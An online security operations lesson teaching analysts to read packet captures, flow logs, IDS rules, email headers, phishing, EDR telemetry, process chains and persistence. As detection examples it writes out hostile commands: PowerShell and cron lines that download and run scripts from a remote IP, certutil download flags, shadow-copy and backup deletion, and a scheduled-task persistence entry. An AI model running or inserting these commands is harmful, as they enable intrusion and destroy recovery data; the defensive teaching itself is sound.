- Learn
- Computer Science & IT
- Cybersecurity
- Security Operations and Incident Response
- Analyzing Network and Endpoint Activity
Analyzing Network, Email and Endpoint Activity
IntermediateLesson 3 of 7 in Security Operations and Incident Response Course
What you will learn
- Capture the right traffic, read packets and conversations, summarize activity with flow records and connection logs, and recognize the network patterns that point to scanning, command-and-control traffic, tunneling and data theft.
- Capture and filter network trafficChoose where and how to capture packets, write capture and display filters, and handle capture files so they stay complete and trustworthy.
- Read packets and reconstruct conversationsRead the layers of a packet, follow TCP and UDP conversations, recover what was transferred, and judge encrypted traffic from its metadata.
- Analyze flow data and connection logsUse flow records and Zeek connection logs to see who talked to whom, for how long and how much, and to find unusual volumes and destinations.
- Recognize network indicators and read IDS alertsRecognize scanning, rogue devices, unexpected ports, beaconing, DNS abuse and lateral movement, and verify intrusion detection alerts instead of trusting them blindly.
- Capture and filter network traffic
- Read email headers and authentication results, recognize phishing and business email compromise, analyze links and attachments without exposing yourself, and find every recipient affected by a campaign.
- Read email headers and authentication resultsTrace a message through its headers and interpret SPF, DKIM and DMARC results, including what they do and do not prove.
- Recognize phishing and business email compromiseRecognize the sender, link, content and attachment tricks used in phishing, and the payment fraud of business email compromise that carries no malware at all.
- Analyze links and attachments safely and scope the campaignHandle suspicious messages without exposure, decode and check their links and files, extract indicators, and find everyone the campaign reached.
- Read email headers and authentication results
- Use endpoint detection and response tools and endpoint logs to read process trees and command lines, find the ways attackers keep access, and recognize the file, software and configuration changes that reveal a compromised host.
- Use EDR and endpoint telemetryExplain what EDR, XDR and MDM do, know the endpoint events that matter, and use EDR alerts, pivots and response actions in an investigation.
- Analyze processes and command linesJudge processes by name, path, parent, signer and command line, recognize living-off-the-land binaries and encoded PowerShell, and decode what a suspicious command really does.
- Find persistence mechanismsFind the autostart locations attackers use on Windows, Linux and macOS, read the evidence each one leaves, and check them methodically against a known-good state.
- Spot file, software and configuration changes on a hostRecognize the host indicators beyond processes: suspicious files, unauthorized software, weakened settings, abnormal resource use and data staged for theft.
- Use EDR and endpoint telemetry
- Check the reputation of files, domains and IP addresses, examine a file safely without running it, and use a sandbox to watch what it does, knowing the limits of each method.
- Check file, hash, domain and IP reputationUse hashes and reputation services correctly, read their results critically, and protect confidential data while doing so.
- Perform basic static analysisExamine a suspicious file without running it: identify its real type, extract strings, read the basic structure of a Windows program, recognize packing, decode obfuscated content and match it with YARA rules.
- Run and interpret sandbox analysisDetonate a sample safely, read the behavioral report, recognize evasion, and turn the results into indicators you can check in your own environment.
- Check file, hash, domain and IP reputation
- Combine network, email and endpoint evidence into one timeline, decide whether the activity is malicious with a stated confidence, and document and escalate the findings so others can act on them.
- Correlate evidence into a timelineNormalize times, pivot between sources on shared fields and build a timeline that explains how an attack unfolded and where evidence is still missing.
- Reach a verdict and document the findingsClassify an alert or event with a justified confidence, record the findings and indicators so others can reproduce them, and escalate confirmed incidents with the evidence preserved.
- Correlate evidence into a timeline
Analyzing Network and Endpoint Activity study guide
1Analyze network traffic in packet captures and flow data
Packets show individual exchanges; flow records reveal patterns across a longer period. You will choose a capture point, filter traffic, rebuild conversations and measure unusual connections. Scans, repeated check-ins and DNS patterns become useful leads when you connect them to host roles and expected activity. The same analysis also lets you verify what an intrusion-detection rule actually matched.
1.1 Capture and filter network traffic
A packet capture saves the headers and payload that reach a sensor in a .pcap or .pcapng file. It can show the contents of unencrypted exchanges, along with addresses, ports and timing. Collect and store it under the organization's monitoring policy: a capture can contain passwords and personal data.
Choose a useful capture point
A network TAP passively copies traffic from a link. A SPAN port asks a switch to mirror selected ports or VLANs. SPAN can drop copies when its output is overloaded; an aggregating TAP can also lose packets if both directions together exceed the monitoring port's capacity. A host capture sees that host's traffic. An internet-edge sensor misses traffic that stays inside the network. Outside NAT, it sees a shared public address, so keep NAT records to identify the internal host.
Save broadly, inspect narrowly
A capture filter decides what is saved. A display filter changes the view of packets already saved. Their syntax differs:
| Purpose | Filter for one host's TCP port 443 traffic |
|---|---|
| Capture, BPF syntax | host 192.168.1.50 and tcp port 443 |
| Wireshark display | ip.addr == 192.168.1.50 && tcp.port == 443 |
BPF port 443 also includes UDP, including QUIC. A narrow capture filter can discard an attacker's other channel permanently. A display filter can be removed whenever the investigation changes direction.
For a targeted capture, use:
sudo tcpdump -i eth0 -nn -s 0 -w case42.pcap host 192.168.1.50 and not port 22
-i selects the interface; -nn keeps addresses and ports numeric and avoids name lookups; -s 0 keeps full packets; -w writes raw packets. The filter excludes port 22, such as an analyst's SSH session. Read saved DNS traffic with tcpdump -nn -r case42.pcap port 53.
In Wireshark, dns shows DNS; http.request shows HTTP requests. Use tcp.flags.syn == 1 && tcp.flags.ack == 0 for initial TCP attempts, tls.handshake.type == 1 for TLS Client Hellos, and ip.dst == 10.0.0.0/8 for destinations in that range. frame contains "password" finds that text in captured bytes. Combine conditions with &&, || and !.
Plan retention and preserve evidence
At 40% use, a 100 Mbit/s link carries 40 Mbit/s. Dividing by eight gives 5 MB/s; over 3,600 seconds that is 18,000 MB, or 18 GB. Ring buffers overwrite the oldest capture, while targeted captures reduce storage needs. Export relevant evidence before a buffer overwrites it.
TLS leaves addresses, sizes, timing and available handshake metadata visible, but hides application content unless session keys or an inspection point provide it. DNS and server-name visibility also depend on the protocols in use. Hash the original capture with SHA-256, record the interface and capture interval, and analyze a copy. Check clock synchronization and packet-drop statistics; tcpdump's “dropped by kernel” counter reveals traffic the capture system missed.
Key Takeaways
- A capture point determines which traffic is visible and which host identities need NAT records.
- Capture filters discard excluded packets; display filters only hide saved packets.
- BPF and Wireshark display filters use different syntax.
- Account for both link directions, storage volume and packet drops.
- Preserve the original capture, its SHA-256 hash and accurate capture times.
1.2 Read packets and reconstruct conversations
Read a packet from its outer delivery information toward its application data. On Ethernet, Wireshark shows MAC addresses, then the IP addresses and TTL, then TCP or UDP ports, and finally DNS, HTTP, TLS or another application protocol. The details pane opens these layers; the bytes pane shows their raw hexadecimal values.
Follow the exchange
TCP starts with SYN, SYN-ACK and ACK. In 10.0.0.23:51544 → 203.0.113.80:443 SYN, the high source port belongs to the client. The reply swaps the addresses and ports. FIN requests a graceful close; RST ends the connection abruptly. A reset in response to a SYN usually indicates a closed port. No response can reflect filtering, loss or missing visibility, so inspect both the packets and the capture position.
UDP has no transport handshake. DNS commonly uses UDP 53 and also uses TCP 53, including for large responses and zone transfers. Read the question's record type: A asks for IPv4, AAAA for IPv6, MX for mail servers, TXT for text and CNAME for an alias. NXDOMAIN means the requested name does not exist.
A DNS response followed by a connection to its returned IP suggests a link. Confirm the requested name with an HTTP Host header, visible TLS SNI, proxy records or endpoint data: several domains may share that address.
Rebuild application activity
Wireshark's Follow TCP Stream assembles one conversation in order and separates the two directions by color. Statistics → Conversations ranks communicating pairs by packets and bytes; Protocol Hierarchy shows the protocol mix.
Suppose a stream contains:
GET /update.php?id=WS-0423 HTTP/1.1
Host: cdn-update.example.net
User-Agent: Mozilla/4.0
The response is 200 OK, declares application/octet-stream, and starts with MZ. Those bytes suggest a Windows executable. The .php path can return any content; it need not be the downloaded file's name. Check the exported object's type, hash and signature, then connect the request to its process and destination history.
GET requests fetch content; POST requests send a body. Read the Host, path, User-Agent, response status and body sizes together. Large repeated POST bodies to a new destination warrant investigation. Status 301 or 302 redirects the client, while 404 reports a missing resource.
File → Export Objects → HTTP, or the SMB equivalent, can recover transferred objects when the necessary unencrypted content is present. Keep recovered samples in the isolated analysis environment and record their hashes.
Read encrypted traffic accurately
A Client Hello normally exposes SNI, the requested server name, unless Encrypted Client Hello protects it. TLS 1.2 exposes the server certificate in the handshake; TLS 1.3 encrypts it. JA3 and JA4 fingerprints summarize Client Hello characteristics and can help group similar clients. A new certificate, missing SNI or a shared fingerprint is a lead to check against process and destination context.
Port 443 suggests HTTPS but cannot establish the protocol. Inspect the actual exchange or use Decode As when a dissector needs help recognizing a protocol on an unusual port.
Key Takeaways
- Identify the initiator from the handshake and track the reversed reply direction.
- Join DNS answers to application names before attributing a connection to a domain.
- Rebuild streams and export objects to inspect what was transferred.
- TLS visibility changes with the TLS version and Encrypted Client Hello.
- Confirm protocols from the exchange, not the port number alone.
1.3 Analyze flow data and connection logs
Flow records summarize traffic without keeping its payload. They make it practical to search weeks of activity before retrieving a short packet capture. The usual 5-tuple is source IP, destination IP, source port, destination port and transport protocol. Records also hold times, counts and often TCP flags.
Know how the source counts
NetFlow v5 has a fixed IPv4 format; NetFlow v9 uses templates and supports IPv6. IPFIX is the IETF standard derived from that template approach. Cloud flow logs provide related network summaries. sFlow samples packets and adds interface counters, so its observations need careful scaling.
With 1-in-1,000 sampling, 1,200 sampled packets represent roughly 1.2 million packets. The estimate describes volume; a brief connection might leave no sampled packet. An empty sample is weak evidence for deciding whether one particular connection occurred.
Exporters often record each direction separately and split long connections at active timeouts. Match reverse records by swapping both addresses and ports, while preserving the protocol. Then join fragments belonging to the same connection. Total bytes separately by direction, and measure elapsed time from the earliest start to the latest end. Adding overlapping record durations inflates the time.
Read Zeek connection records
Zeek produces structured connection and protocol logs. In conn.log, ts is the start time and uid links the connection to records such as http.log or ssl.log. The id.orig_h and id.orig_p fields name the originator; id.resp_h and id.resp_p name the responder. The originator started the conversation and can be an external host. proto, service, duration, orig_bytes and resp_bytes describe its transport, recognized application and activity.
| TCP state | Reading |
|---|---|
S0 | An attempt was seen without a reply. |
REJ | The target rejected the attempt. |
SF | A connection was established and closed normally. |
OTH | Traffic was seen without a SYN, often because observation began midstream. |
For unanswered attempts, zero Zeek payload bytes can accompany real packets. Flow exporters commonly count IP headers as well, so their byte counts differ. Read packet counts and state alongside the documented byte fields.
Measure an unusual upload
From 02:10 to 02:50 UTC, 10.0.0.23 sends 2.4 GB to 198.51.100.7:443 and receives 12 MB. Convert 2.4 GB to 2,400 MB: outbound volume is 200 times inbound. Forty minutes is 2,400 seconds, so the average outbound rate is 1 MB/s, or 8 Mbit/s.
The rate is not the verdict. Compare the host's usual volume, destination history and role. A scheduled backup can explain a nightly upload; a new destination and an unapproved sending process strengthen a data-theft hypothesis. Pivot to EDR for the responsible process, DNS or proxy data for the name, and packets for content if available. A baseline should compare like roles: a backup server and a receptionist's workstation have different normal traffic.
Key Takeaways
- Flow data describes addresses, timing and volume, without application payload.
- Sampled counts are estimates and can miss short events.
- Pair directions, merge timeout fragments and use the full elapsed interval.
- Use Zeek uid to join protocol logs and conn_state to interpret attempts.
- Interpret byte counters according to the source that produced them.
- Compare unusual traffic with the host role, baseline and responsible process.
1.4 Recognize network indicators and read IDS alerts
Network patterns tell you where to investigate. An approved scanner and an intruder can create very similar packets.
Recognize the shape of the traffic
A vertical scan probes many ports on one host. A horizontal scan probes the same port across many hosts. If 10.0.0.99 sends SYNs to 1,000 ports on 10.0.0.5 in 12 seconds, the rate is about 83 attempts per second. Many S0 or REJ records and a few successful connections fit scanning. Check the scanner inventory and authorized schedule.
A rogue device is connected without authorization. Compare new DHCP leases and MAC addresses with the asset inventory; an unfamiliar manufacturer prefix, an unauthorized access point or a second DHCP server calls for investigation. NAC helps enforce which devices can connect.
Judge services by host role. SSH commonly uses 22, SMTP 25, DNS 53, HTTP 80, HTTPS 443, SMB 445, RDP 3389 and WinRM 5985/5986. Direct outbound SMTP from a workstation can indicate a spam bot. SMB or RDP from one workstation to many peers can indicate lateral movement. Verify which service is actually present.
Separate timers from user activity
Connections at 10:00:00, 10:05:02, 10:09:59, 10:15:01 and 10:20:00 have gaps of 302, 297, 302 and 299 seconds. The mean is 300 seconds and the variation is about two seconds. Similar small exchanges at those intervals suggest a timer. Beaconing is repeated C2 contact; update agents also use timers. Find the initiating process and destination purpose. Malware may add jitter, such as ±20%, so a less regular pattern still deserves attention.
Investigate DNS abuse
DNS tunneling places data in query names, often with long encoded labels and many unique subdomains. A label can carry at most 63 characters; an ordinary textual full name has a 253-character limit. Repeated TXT or NULL queries and high volume add weight to the pattern. Many random-looking names returning NXDOMAIN suggest a DGA trying names until one resolves. External DNS over HTTPS can also remove activity from the organization's normal DNS logs.
Read and verify a rule
alert tcp $HOME_NET any -> $EXTERNAL_NET 4444 (msg:"Possible reverse shell to port 4444"; flow:to_server,established; sid:1000001; rev:1;)
The header specifies alerting on TCP from the home network to external port 4444. The flow condition requires established traffic toward the server; sid identifies the rule and rev its revision. The message names a possible reverse shell, but this rule checks a connection pattern, not shell commands.
Snort and Suricata match traffic against rules; Zeek mainly supplies logs and behavior scripts. Verify an IDS alert with its packets, the target's platform and endpoint changes after the exchange. Detection mode observes copies; an inline IPS can block traffic, making a mistaken match operationally disruptive.
Key Takeaways
- Check authorization before treating a scanning pattern as an incident.
- Use device inventory and host roles to identify unexpected network activity.
- Regular timing suggests automation; process and destination context distinguish C2.
- Investigate long DNS labels, unique names, query volume and NXDOMAIN patterns together.
- Read rule conditions before accepting the alert message as a finding.
- Confirm suspected exploitation with target and endpoint evidence.
2Investigate suspicious email
An email investigation starts with the original message and ends with the people and devices affected. You will trace trusted headers, separate the sender identities behind SPF, DKIM and DMARC, and inspect the action a message asks someone to take. Link and attachment analysis then provides the search fields for finding the wider campaign, including payment fraud that carries no malicious file.
2.1 Read email headers and authentication results
The address a reader sees and the identity checked during mail delivery are different fields. Start with the original .eml or .msg so you retain the headers that a forwarded copy can replace. A header analyzer can arrange the evidence, but you still need to know which server wrote each result.
Find the identities and trusted hops
The SMTP envelope sender is used for bounces and appears in Return-Path. The header From is the visible sender. Reply-To controls replies, and Message-ID helps locate related mail records. A mailing service can legitimately use an envelope domain different from its customer's visible domain.
Each relay prepends a Received line. Read the travel sequence from the bottom upward, but establish trust from your own gateway's entries: a sender can forge lines below the first trusted entry. An optional X-Mailer field is also sender-controlled. Use the sending IP recorded by your trusted receiving server.
Apply the three checks
| Check | Identity and result |
|---|---|
| SPF | Checks the connecting server's IP against the envelope domain's authorized senders. |
| DKIM | Checks a domain's signature over selected headers and the body hash. |
| DMARC | Requires a passing SPF or DKIM identity aligned with the visible From domain. |
An SPF TXT record such as v=spf1 ip4:192.0.2.0/24 include:_spf.example.net -all authorizes that range and the included senders. -all gives other senders a fail; ~all gives softfail. Results can also be neutral, none, temperror or permerror. Forwarding often breaks SPF because the forwarder's IP is not authorized by the original envelope domain.
DKIM's d= names the signing domain and s= selects its key at <selector>._domainkey.<domain>. A passing signature means the signed material survived unchanged. Forwarding can preserve it, while message rewriting can break it.
DMARC relaxed alignment accepts the same organizational domain; strict alignment requires an exact domain match. The TXT policy at _dmarc.<domain> can request none, quarantine or reject; the receiver decides handling. RFC 9989 replaced the older DMARC standard in May 2026, removed pct and introduced t=y test mode. Check a policy with nslookup -type=txt _dmarc.example.com.
Work through an authentication result
Your gateway reports SPF pass for mailer.example-billing.net, DKIM pass for example-billing.net, and From examp1e.com. Neither passing domain aligns with the visible domain, so DMARC fails. SPF and DKIM authenticated different identities; they did not authenticate that visible address.
Read only the Authentication-Results added by a trusted gateway. A correctly configured attacker-owned lookalike can pass all three checks, and so can a compromised legitimate mailbox. Combine authentication with sender history, message content and link analysis. Conversely, investigate whether forwarding or mailing-list changes explain a failure before calling it spoofing.
Key Takeaways
- Separate the envelope sender, visible From and Reply-To identities.
- Trust header lines and authentication results written by your own receiving systems.
- SPF checks a sending IP; DKIM checks signed content; DMARC checks alignment.
- DMARC needs one passing aligned method, not two passes for unrelated domains.
- Authentication can pass for attacker-owned domains or compromised mailboxes.
2.2 Recognize phishing and business email compromise
Phishing tries to turn a message into a harmful action: giving away credentials, sending money or running a file. The strongest clue is often a departure from the recipient's normal process. Fluent writing and a familiar name are easy for an attacker to provide.
Read the sender and destination carefully
Display-name spoofing puts a trusted name above an unrelated address, such as "IT Service Desk" <it.desk.2291@freemail.example>. Typosquatting changes a domain's spelling; cousin domains add reassuring words. Homoglyphs substitute similar-looking characters from other alphabets. A Cyrillic first letter makes аpple.com a different domain; its punycode form is xn--pple-43d.com.
A link's visible label can differ from its actual target. Shorteners and open redirects conceal later destinations. In https://www.example.com@198.51.100.7/login, the host is 198.51.100.7; the part before @ is user information. In https://example.com.login-verify.net/, the registered domain is login-verify.net. Reading the reassuring leftmost words misidentifies who controls the destination.
Recognize the requested action
Urgency, claimed executive authority, account-closure threats, gift cards and bank-detail changes all push the recipient away from established checks. Spear phishing uses research about a specific target; whaling targets executives. Related delivery forms include smishing by text, vishing by voice and quishing through QR codes. A QR code can move a link onto a phone beyond email-link filtering.
Attachments may carry macro documents, HTML login pages or HTML smuggling, password-protected archives, disk images, LNK shortcuts, or PDFs containing links. Modern Office blocks macros by default in internet-marked files, so messages may coach users to remove the block. An archive password hinders inspection, although some gateways can extract the password from the message and scan its contents.
Investigate payment fraud without malware
Business email compromise, or BEC, impersonates a colleague, executive or supplier to obtain money, payment-detail changes or sensitive information. It can use a lookalike address or a real compromised mailbox. It often contains no link or attachment, leaving scanners little to inspect. A changed Reply-To or a new rule hiding replies is useful supporting evidence.
In an existing invoice thread, a known supplier requests that a 48,000-euro payment go to a new bank account. Authentication passes. The mailbox has been compromised, and the attacker has used thread hijacking to borrow the conversation's trust. Verify the request through a phone number already held in the supplier record before changing payment details. A number supplied in the message is part of the unverified request.
An internal address can also be compromised; include internal recipients and replies in the account investigation.
Key Takeaways
- Inspect the actual sender address and URL host, beyond visible names and link text.
- Pressure to bypass normal payment or account checks is a phishing signal.
- BEC can use a real mailbox and contain no links or attachments.
- Verify changed payment instructions through an independently held contact.
2.3 Analyze links and attachments safely and scope the campaign
A phishing investigation has two jobs: understand the message and find everyone it reached. One reported copy is a starting point. The action taken by a recipient determines which account or host evidence you need next.
Preserve and inspect the message
Export the original with full headers, then copy URLs as text for inspection in an isolated analysis environment. Record indicators in defanged form, such as hxxps://login-verify[.]net/acct, to prevent accidental clicks in tickets. Preserve the untouched original alongside the working copy.
Mail gateways may wrap a URL inside another URL's parameter. Percent-encoding represents characters with a percent sign and two hexadecimal digits: %3A is a colon and %2F a slash. Decode one layer at a time and inspect the result before interpreting another layer.
For example, URL decoding:
https%3A%2F%2Flogin-verify.net%2Facct%3Fu%3DamFuZUBleGFtcGxlLm9yZw%3D%3D
produces https://login-verify.net/acct?u=amFuZUBleGFtcGxlLm9yZw==. Base64 decoding the u value gives jane@example.org. The parameter identifies the intended recipient and can personalize the fake page. CyberChef's URL Decode, From Base64 and Defang URL operations make these separate transformations visible.
Before a public URL submission, remove victim-identifying values; a public result or personalized request can expose the investigation to the attacker. Preview shortened links through an approved analysis service. The service's visibility and submission behavior matter as well as the URL itself.
Inspect files and extract search fields
Calculate an attachment's SHA-256 and look up its reputation before uploading it. Check its type from the opening bytes. For an Office file, olevba can list macros and flag automatic triggers such as AutoOpen or Document_Open and calls such as Shell. Use a private sandbox for confidential internal content.
Collect the sender address and display name, the IP in the trusted Received entry, subject, Message-ID, URL hosts and paths, and attachment names and hashes. Keep exact values in evidence; use defanged copies in notes. A filename can change across messages, while an identical hash still links identical file content.
Scope recipients and interactions
Search gateway and mailbox records using several of those fields. List recipients, then distinguish delivery from interaction using DNS and proxy records, sign-ins after link visits, and EDR events for attachment opening and execution.
A search can find 40 delivered messages, six link visitors and two accounts with unfamiliar successful sign-ins minutes later. Preserve the records, remove the campaign messages and block the malicious URL or domain through the response process. The two affected accounts need password resets and active-session revocation. A recipient list alone would miss the difference between exposure and likely compromise.
Closing the ticket because the reporting user deleted the message leaves the other recipients unexamined. Record who received it, who interacted, what followed and which evidence is still missing.
Key Takeaways
- Preserve the original message and work with copied, defanged indicators.
- Decode URL layers separately and recognize recipient-identifying parameters.
- Protect confidential attachments and personalized URLs from public submissions.
- Scope the campaign with message fields, hashes and URLs.
- Distinguish delivery, interaction and follow-on compromise.
3Investigate endpoint activity with EDR
Endpoint records explain which program caused a file, connection or setting change. You will follow process ancestry, inspect command arguments and find the triggers that let an attacker return. Windows, Linux and macOS leave different artifacts, but the investigation asks the same practical questions: what changed, who caused it, whether it was authorized and which other hosts show the same activity.
3.1 Use EDR and endpoint telemetry
Endpoint telemetry connects network and file evidence to the program that caused it. EDR records endpoint activity, detects suspicious behavior and provides remote investigation and response. Its history can reveal activity that a file's current state no longer shows.
Choose the right source
Traditional antivirus focuses on blocking known malicious files. EDR adds process, file, registry, connection and logon history. XDR brings endpoint evidence together with network, email, identity and cloud sources. MDM manages phones and tablets: its inventory and compliance records can reveal unapproved apps, rooting or jailbreaking, and it supports actions such as locking or wiping devices.
Windows Security events provide useful anchors:
| Event | Activity |
|---|---|
| 4688 | A process was created; command-line inclusion requires its separate policy. |
| 4624 | A logon succeeded. |
| 4698 | A scheduled task was created, when the required auditing is enabled. |
| 4697 | A service was installed. |
| 4720 | A user account was created. |
System event 7045 also records a service installation. Windows stores events in .evtx files that can be exported for structured searching. On Linux, use auditd, authentication logs and the system journal.
Use Sysmon's process identity
Sysmon is available as a built-in optional feature on Windows 11 and Windows Server 2025, and as a Sysinternals download for other systems. Event 1 records process creation with the full command line, parent, hashes and a Process GUID. That GUID keeps separate processes distinct even when the operating system reuses a PID.
Other useful events are 3 for network connections, 11 for file creation, 12–14 for registry changes and 22 for DNS queries. Event 3 is off by default because it can generate substantial volume. Check the active configuration before interpreting an absent event as absent activity.
Pivot from an alert
Start with the host, user, detection and process tree. Read what launched the process, what it launched, and which files, registry values and destinations it touched. Expand the timeline before and after the alert; a detection timestamp is not necessarily the intrusion's start.
Pivot from a hash to all hosts with that file, or from a destination to all hosts that contacted it. Prevalence adds context: an unknown program on one of 5,000 hosts is unusual, while software on all hosts may be standard deployment. Compare both with approved software and behavior; widespread malicious activity can also have high prevalence.
Keep response and visibility in order
EDR can isolate a host, stop a process, quarantine or collect a file, block a hash and open live response. Isolation normally preserves the management connection while restricting other network access. Follow the response playbook and collect needed evidence before actions that destroy process memory or change files.
Check sensor health when the console looks quiet: installation status, recent reporting, configuration and signs of tampering. A stopped agent creates a visibility gap and can itself be part of the intrusion.
Key Takeaways
- EDR supplies endpoint history and response; XDR joins sources; MDM manages mobile devices.
- Confirm auditing and sensor configuration before relying on missing events.
- Use Process GUIDs to distinguish process instances across PID reuse.
- Pivot through process trees, host timelines, hashes and destinations.
- Collect needed evidence and check sensor health when making response decisions.
3.2 Analyze processes and command lines
A process name is only one field in an investigation. Check its executable path, parent, user, command line, signature and hash together. Preserve the PID with its start time, or use a Process GUID, to avoid joining different processes that reused the same PID.
Compare name, path and parent
A normal svchost.exe runs from C:\Windows\System32, is started by services.exe and normally has a -k group argument. lsass.exe runs from the same system directory as one instance, started by wininit.exe; services.exe also has that parent. Explorer normally runs per logged-on user, and its userinit.exe parent exits. A missing live parent for Explorer therefore needs different interpretation from a system process launched by Word.
A near-miss name such as scvhost.exe, a system name in C:\Users\Public, or an unusual LSASS parent suggests masquerading. Office starting a shell is another strong lead: follow WINWORD.EXE or EXCEL.EXE into cmd.exe, PowerShell, wscript.exe or mshta.exe. On a web server, w3wp.exe starting a command shell suggests a web shell.
Read what signed tools are asked to do
LOLBins are legitimate system programs misused by an attacker. certutil.exe can download a file with -urlcache -split -f; mshta.exe can run an HTML application from a URL; rundll32.exe and regsvr32.exe can run DLL or script code. bitsadmin.exe can transfer files, and wmic process call create starts processes. Their valid signatures describe the programs' publishers, while the parent and arguments reveal their use in this case.
PowerShell flags such as -nop, -w hidden, -ExecutionPolicy Bypass and -enc deserve close inspection. IEX runs text as code; iwr and DownloadString fetch content. Script block logging, event 4104, can expose decoded script content.
Decode before judging
PowerShell -EncodedCommand uses Base64-encoded UTF-16LE text. For -enc aQB3AHIAIABoAHQAdABwADoALwAvADEAOQA4AC4ANQAxAC4AMQAwADAALgA3AC8AYQAuAHAAcwAxACAAfAAgAGkAZQB4AA==, apply From Base64 in CyberChef, then Decode text as UTF-16LE. The result is:
iwr http://198.51.100.7/a.ps1 | iex
iwr retrieves the script and the pipeline passes it to iex for execution. This can run code without saving the downloaded script as a file. Letters separated by zero bytes after Base64 decoding indicate the missing UTF-16LE interpretation.
Trace a process chain in order: Outlook opens invoice.docm in Word; Word starts a command shell; PowerShell contacts the server and writes upd.exe; the new executable starts its own traffic. Link each step to recorded events. A signed deployment agent can also use encoded PowerShell for an approved installation, so inspect the decoded content and authorization.
On Linux, investigate executables in /tmp or /dev/shm, curl piped into bash, a shell redirected to a remote socket, or /proc/<pid>/exe marked “(deleted)”. A user process named [kworker/0:1] is suspicious if it has a disk executable: real kernel threads descend from kthreadd, PID 2, and have no executable file.
Key Takeaways
- Judge the full process identity and activity, including path, parent and arguments.
- Compare system-process names with expected paths and parents.
- A signed system tool can perform an attacker-directed action.
- Decode PowerShell as Base64 followed by UTF-16LE and inspect the resulting command.
- Follow process ancestry into downloads, file creation and later connections.
- Use Linux executable paths and parentage to test misleading process names.
3.3 Find persistence mechanisms
Persistence gives an attacker a way to regain execution or access after interruptions such as logoff or reboot. A host may contain several mechanisms, each with a separate trigger. Record the location, target, timestamps and file hash before removing an entry.
Inspect Windows autostart locations
Run keys under HKCU\Software\Microsoft\Windows\CurrentVersion apply to the current user; the user can write them without administrator rights. The corresponding HKLM Run key applies across users and needs elevated rights to change. RunOnce provides one-time execution; HKLM RunOnce executes when an administrator logs on after reboot. Run entries trigger at logon, not when a file is copied to disk.
Startup folders also launch content at logon. Check the user's AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup and the shared C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp. Sysmon registry events 12–14 and file event 11 help time these changes.
Scheduled tasks can trigger on an interval, a time or an event:
schtasks /create /sc minute /mo 30 /tn "GoogleUpdateTaskCore" /tr "C:\Users\Public\upd.exe"
This runs the target every 30 minutes, or 48 times per day. The trusted-looking task name does not identify the target's publisher. Inspect Security event 4698 when auditing is enabled, Task Scheduler's Operational log and definitions under C:\Windows\System32\Tasks.
Services can start at boot, often as SYSTEM. Inspect System event 7045 or Security event 4697 and the configured image path. A new service that launches from a public folder or runs PowerShell deserves attention.
WMI event subscriptions join an event filter to a consumer action and can persist without a Startup file; Sysmon 19–21 records their components and binding. Also inspect new accounts and administrator membership, web-server files, browser extensions and unexpected DLLs loaded through search-order hijacking.
Check Linux and macOS
On Linux, inspect each user's crontab -l, /etc/crontab, /etc/cron.d/, systemd unit files in /etc/systemd/system/, shell startup files and ~/.ssh/authorized_keys. List units with systemctl list-unit-files. macOS uses LaunchAgents and LaunchDaemons with property-list definitions; check their configured programs and triggers.
In a user crontab, */10 * * * * curl -s http://198.51.100.7/s.sh | bash downloads and runs a script every 10 minutes. The fields are minute, hour, day of month, month and day of week. A new SSH key creates another access route even after a password reset.
Compare and connect the findings
Autoruns collects many Windows autostart locations into one view. Hiding trusted publishers can reduce clutter during an initial pass, but revisit signed entries when other evidence points to them. Compare with a healthy host from the same image and the approved baseline.
For example, a Run value called OneDriveUpdate points to an unsigned odu.exe in a user's roaming profile. Its file and registry creation times are 09:15 UTC, one minute after suspicious macro execution. That shared timing and target path connect the autostart entry to the intrusion. Continue through the other locations after finding it: a scheduled task or service could restore the same payload.
Key Takeaways
- Identify the trigger and target for each persistence entry.
- Check Run keys, Startup folders, tasks, services and WMI subscriptions on Windows.
- Check cron, systemd, shell startup files and SSH keys on Linux, plus macOS launch items.
- Compare entries with a known-good baseline and the infection timeline.
- Record every mechanism before removal and continue searching after the first finding.
3.4 Spot file, software and configuration changes on a host
A compromised host leaves changes beyond its process tree. Look for new files and software, weaker security settings, unusual resource use and files gathered for transfer. Compare them with the host's role and the order of events.
Read file changes and provenance
Programs and scripts in C:\Users\Public, %TEMP%, %APPDATA% or /tmp deserve attention when they are unexpected. A double extension such as invoice.pdf.exe conceals the true file role. Mass renaming, new extensions and ransom notes across many folders form a much stronger ransomware pattern than one unfamiliar file.
File dates can be manipulated. Sysmon event 2 records changes to a file's creation time, called timestomping. Compare the event history with the visible date before deciding that an old-looking file predates the incident.
Windows often adds the Zone.Identifier alternate data stream to internet downloads. This Mark of the Web can include the source URL, while Sysmon event 15 can record the stream's creation. Preserve the stream with the file when collecting it; copying or extraction methods can strip it, so absence alone is weak origin evidence.
Look for weakened defenses
Changes worth investigating include disabled real-time protection, new antivirus exclusions, inbound firewall rules, newly enabled RDP, new local administrators and reduced audit settings. Security event 1102 records clearing the Security audit log. Correlate these changes with the responsible user or process and approved maintenance.
Commands such as vssadmin delete shadows /all /quiet remove Volume Shadow Copies, and wbadmin delete catalog removes the backup catalog. Attackers use these to damage recovery before ransomware encryption. Their appearance calls for immediate escalation through the playbook while the team checks the surrounding process and file activity.
Compare software and resource use
Signed remote support software can still provide unauthorized access. Compare EDR or MDM inventory with the approved list and deployment records. Investigate credential tools, scanners, or cloud-transfer tools such as rclone on a host without an approved need for them.
A miner can drive CPU or GPU use near 100% and contact a mining pool, sometimes using a stratum+tcp:// address. High utilization also occurs in legitimate workloads, so tie the resource load to a process and destination. Disk filling, memory exhaustion and repeated service crashes can point to data collection or failed exploitation.
Connect staging to outbound traffic
Data staging gathers material before exfiltration. Large .7z or .rar archives in a public or temporary folder, password protection and equal-sized archive parts are useful leads. Identify the creating process, the files collected and the time of the operation.
If an unapproved process creates archive parts and then sends a large upload, the sequence connects preparation with transfer. Flow data measures the traffic but cannot reveal archive contents. Use process and file-access evidence to determine what was collected; the archive's size alone cannot establish which records left the organization.
Key Takeaways
- Compare suspicious files and their recorded creation history, not just visible dates.
- Inspect security changes, log clearing and actions that damage recovery.
- Check software approval even when a remote access tool is signed.
- Connect resource consumption and staging artifacts to a responsible process.
4Analyze suspicious files and their reputation
A suspicious file can be checked from several angles before its role is clear. You will identify its content, read reputation in context, inspect strings and structure, and watch a controlled sandbox run. These methods supply different kinds of evidence: a signature or import suggests origin or capability, while recorded execution shows behavior. Together they guide the next search on affected systems.
4.1 Check file, hash, domain and IP reputation
